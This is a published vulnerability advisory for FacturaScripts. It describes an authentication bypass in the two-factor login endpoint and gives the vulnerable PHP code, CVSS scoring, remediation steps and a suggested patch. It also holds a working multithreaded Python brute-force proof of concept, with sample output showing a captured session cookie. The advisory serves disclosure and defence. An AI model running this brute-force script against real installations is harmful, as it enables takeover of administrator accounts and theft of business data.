PT-2026-60077 · Packagist · Facturascripts/Facturascripts

CVE-2026-47677 · Published 2026-07-13 · Updated 2026-07-13

OSV

CVSS v4.0

9.3

Critical

Base vector

AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N

Authentication bypass in FacturaScripts: /login?action=two-factor-validation accepts brute-forceable TOTP without password or CSRF protection

Summary

Core/Controller/Login.php::twoFactorValidationAction() accepts an unauthenticated POST containing only fsNick and fsTwoFactorCode. If the TOTP value matches, the server issues a full fsNick + fsLogkey session cookie pair. The handler:

1. Does not verify the password — the user is not required to have just completed loginAction.
2. Does not call validateFormToken() — no CSRF token is required (every other action handler in the same file does call it).
3. Does not call userHasManyIncidents() before processing — loginAction and changePasswordAction both check this guard before doing work; the 2FA handler only writes to the incident list after a failure, and the incident list is consulted by loginAction / changePasswordAction but not by the 2FA handler itself. The endpoint therefore has no rate-limiting at all.

Combined with TwoFactorManager::VERIFICATION WINDOW = 8 (google2fa default is 1), 17 distinct six-digit codes are valid simultaneously and each remains valid for ~4 minutes. The expected number of guesses to land a valid code is

N ≈ ln(0.5) / ln(1 − 17 / 10⁶) ≈ 40 800 attempts (50% success)

On a default LAMP install a single-laptop attacker sustains ~400 RPS from one source IP — a few minutes per account.

The vulnerability gives complete account takeover of any 2FA-enabled user to any unauthenticated network attacker who knows the target's nick. Admin nicks are typically public information (admin, the company name, the person's initials).

Severity

CVSS 4.0 base score: 9.3 — Critical

Vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N

Metric	Value	Rationale
Attack Vector (AV)	Network (N)	One HTTP POST over the public internet.
Attack Complexity (AC)	Low (L)	No timing, configuration, or environmental conditions.
Attack Requirements (AT)	None (N)	The vulnerable code path runs on every default install; the bug applies to every 2FA-enabled user.
Privileges Required (PR)	None (N)	The endpoint accepts the attack unauthenticated.
User Interaction (UI)	None (N)	No user action; the victim only has to have 2FA enabled.
Vulnerable Confidentiality (VC)	High (H)	Full read access as the hijacked user (admin → entire database).
Vulnerable Integrity (VI)	High (H)	Full write access as the hijacked user.
Vulnerable Availability (VA)	Low (L)	Side effect: failed 2FA attempts accumulate in the per-user incident counter, which then blocks the legitimate user from logging in via loginAction for 10 minutes (MAX INCIDENT COUNT = 6, INCIDENT EXPIRATION TIME = 600). Targeted account-lockout DoS against any nick.
Subsequent (SC / SI / SA)	None	No second-system pivot from the bug itself.

Threat metrics:

• Exploit Maturity (E): Attacked (A) — public PoC included below, runs out of the box.

Affected component

• File: Core/Controller/Login.php
• Method: twoFactorValidationAction() (lines 317–328 in the repository at commit 7392b489b, master branch as of 2026-05-13).
• Related: Core/Lib/TwoFactorManager.php:30 (VERIFICATION WINDOW = 8).

Vulnerable code:

protected function twoFactorValidationAction(Request $request): void
{
  $userName = $request->input('fsNick');
  $user = new User();
  if (!$user->load($userName) || !$user->verifyTwoFactorCode($request->input('fsTwoFactorCode'))) {
    Tools::log()->warning('two-factor-code-invalid');
    $this->saveIncident(Session::getClientIp(), $userName);
    return;
  }

  $this->updateUserAndRedirect($user, Session::getClientIp(), $request);
}

Compare with loginAction in the same file, which calls validateFormToken() (line 275) and userHasManyIncidents() (line 287) before doing any work. The 2FA handler does neither.

Proof of concept

1. Brute force when only the victim's nick is known

This requires no prior knowledge beyond the target's nick. Because the 2FA endpoint has no rate-limiting and VERIFICATION WINDOW=8 keeps ~17 codes valid at once, random guessing finds a valid code in seconds to minutes from a single IP.

poc 2fa brute.py:

#!/usr/bin/env python3
"""
PoC: brute-force the 2FA endpoint.
Required: pip install requests
"""
import os, sys, time, random, threading, requests

BASE   = os.environ.get("BASE",   "http://localhost:9999")
NICK   = os.environ.get("NICK",   "admin")
THREADS  = int(os.environ.get("THREADS",  "32"))
MAX TRIES = int(os.environ.get("MAX TRIES", "200000"))

hit = threading.Event()
attempt count = [0]
lock = threading.Lock()
start = time.time()
result = {}

def worker(tid: int) -> None:
  s = requests.Session()
  while not hit.is set():
    with lock:
      n = attempt count[0]
      if n >= MAX TRIES:
        return
      attempt count[0] += 1
    code = f"{random.randint(0, 999999):06d}"
    try:
      r = s.post(f"{BASE}/login",
            data={"action": "two-factor-validation",
               "fsNick": NICK,
               "fsTwoFactorCode": code},
            allow redirects=False, timeout=5)
    except requests.RequestException:
      continue
    sc = r.headers.get("Set-Cookie", "")
    if r.status code == 302 and "fsLogkey" in sc:
      with lock:
        if hit.is set():
          return
        hit.set()
        result["code"]  = code
        result["n"]    = n
        result["cookies"] = {c.name: c.value for c in r.cookies}
      return

def main() -> int:
  print(f"[*] target={BASE} nick={NICK} threads={THREADS}")
  threads = [threading.Thread(target=worker, args=(i,), daemon=True)
        for i in range(THREADS)]
  for t in threads: t.start()
  while not hit.is set() and attempt count[0] < MAX TRIES:
    time.sleep(2)
    elapsed = time.time() - start
    print(f" [{elapsed:5.1f}s] attempts={attempt count[0]:>7d} "
       f"rps={attempt count[0]/max(elapsed,1):.0f}", flush=True)
  for t in threads: t.join()
  elapsed = time.time() - start
  if hit.is set():
    print(f"
[+] FOUND code={result['code']} after {result['n']:,} "
       f"attempts in {elapsed:.1f}s")
    cookie hdr = "; ".join(f"{k}={v}" for k, v in result["cookies"].items())
    print(f"[+] Cookies: {cookie hdr}")
    print(f"
  curl --cookie '{cookie hdr}' {BASE}/ListUser")
    return 0
  print(f"[-] {attempt count[0]:,} attempts in {elapsed:.1f}s, no hit")
  return 1

if  name  == " main ":
  sys.exit(main())

Observed result against the same install (victim user has 2FA enabled, attacker knows only the nick victim):

[*] target=http://localhost:9999 nick=victim threads=32
 [ 2.2s] attempts=  1094 rps= 493
 [ 24.4s] attempts= 11535 rps= 473
 [ 50.0s] attempts= 23420 rps= 468
 [100.7s] attempts= 41247 rps= 410
 [144.9s] attempts= 55418 rps= 383

[+] FOUND code=055473 after 55,773 attempts in 146.0s
[+] Cookies: fsNick=victim; fsLogkey=47qZDmjcHaS2z2pLsqKWsKbb8vlGfZaYEiUUfcvWHlDXSZlI9LFg8ux7EYX1fzTkeNSgM5ASQ7s5ohr8ROAclvlK1GCxACia21N; fsLang=en EN

A second run terminated in 24.6 s after 11 569 attempts. Both runs used a single source IP with no proxy rotation, no HTTP/2, no parallel hosts.

Impact

For each 2FA-enabled user (including admins):

• Confidentiality: full read access to anything the victim can see — invoices, customer data, suppliers, accounting ledgers, attached files, user PII, API keys, plugin configuration.
• Integrity: full write access — create/modify/delete records, change permissions, issue new API keys, upload plugins, install code (admin).
• Availability: targeted account lockout DoS — generating six failed 2FA attempts (≪ 1 s of brute-force noise) pushes the per-user incident counter past MAX INCIDENT COUNT = 6, blocking the legitimate user from loginAction for 10 minutes. Repeatable indefinitely.

The vulnerability defeats the entire purpose of 2FA in FacturaScripts: enabling 2FA on an account today is strictly weaker than not enabling it, because it adds an unauthenticated, brute-forceable login path that wasn't present before.

Remediation

Four independent fixes are required; each closes a distinct gap and any one alone is insufficient.

1. Require evidence the user just completed the password step. In loginAction, after verifyPassword succeeds and 2FA is required, write a short-lived nonce keyed by (client ip, user nick) to the shared cache (e.g. Cache::set("2fa-pending-{ip}-{nick}", $nonce, ttl=300)). twoFactorValidationAction must read, validate, and delete that nonce before calling verifyTwoFactorCode. Without the nonce, return immediately.
2. Call validateFormToken($request) at the top of twoFactorValidationAction. Every other action handler in the controller does this; the 2FA handler should too. Eliminates drive-by CSRF submissions.
3. Call userHasManyIncidents(Session::getClientIp(), $userName) before doing any work in twoFactorValidationAction, and bail out if the threshold is exceeded. This is the missing rate-limit pre-check.
4. Reduce TwoFactorManager::VERIFICATION WINDOW from 8 to 1. The google2fa default is 1 (±30 s). A window of 8 multiplies the brute-force success rate by 17× for no legitimate reason — TOTP apps and the server clock are typically synchronised within a single 30-second step.

Suggested patch (illustrative):

// Core/Controller/Login.php
protected function twoFactorValidationAction(Request $request): void
{
  if (false === $this->validateFormToken($request)) {            // fix 2
    return;
  }
  $userName = $request->input('fsNick');
  if ($this->userHasManyIncidents(Session::getClientIp(), $userName)) {   // fix 3
    Tools::log()->warning('ip-banned');
    return;
  }
  $nonceKey = '2fa-pending-' . Session::getClientIp() . '-' . $userName;
  if (false === Cache::get($nonceKey)) {                  // fix 1
    Tools::log()->warning('two-factor-no-pending-login');
    $this->saveIncident(Session::getClientIp(), $userName);
    return;
  }
  Cache::delete($nonceKey);

  $user = new User();
  if (!$user->load($userName) || !$user->verifyTwoFactorCode($request->input('fsTwoFactorCode'))) {
    Tools::log()->warning('two-factor-code-invalid');
    $this->saveIncident(Session::getClientIp(), $userName);
    return;
  }
  $this->updateUserAndRedirect($user, Session::getClientIp(), $request);
}

// Core/Lib/TwoFactorManager.php
private const VERIFICATION WINDOW = 1; // fix 4 — was 8

loginAction then needs the matching nonce write where it currently sets $this->two factor user:

if ($user->two factor enabled) {
  Cache::set('2fa-pending-' . Session::getClientIp() . '-' . $user->nick,
        bin2hex(random bytes(16)), 300);
  $this->two factor user = $user->nick;
  $this->template = 'Login/TwoFactor.html.twig';
  return;
}

Reproduction

Tested on a clean install built from master at commit 7392b489b:

# brute force (only nick known) — secret on the server can be anything
NICK=victim THREADS=32 .venv/bin/python poc 2fa brute.py

Fix

Improper Authentication

Weakness Enumeration

CWE-287

Related Identifiers

CVE-2026-47677

GHSA-C67F-GMXW-MJ93

Affected Products

Facturascripts/Facturascripts

References · 4

• https://osv.dev/vulnerability/GHSA-c67f-gmxw-mj93 · Vendor Advisory
• https://github.com/NeoRazorX/facturascripts/security/advisories/GHSA-c67f-gmxw-mj93 · Note
• https://github.com/NeoRazorX/facturascripts/releases/tag/v2026.3 · Note
• https://github.com/NeoRazorX/facturascripts · Note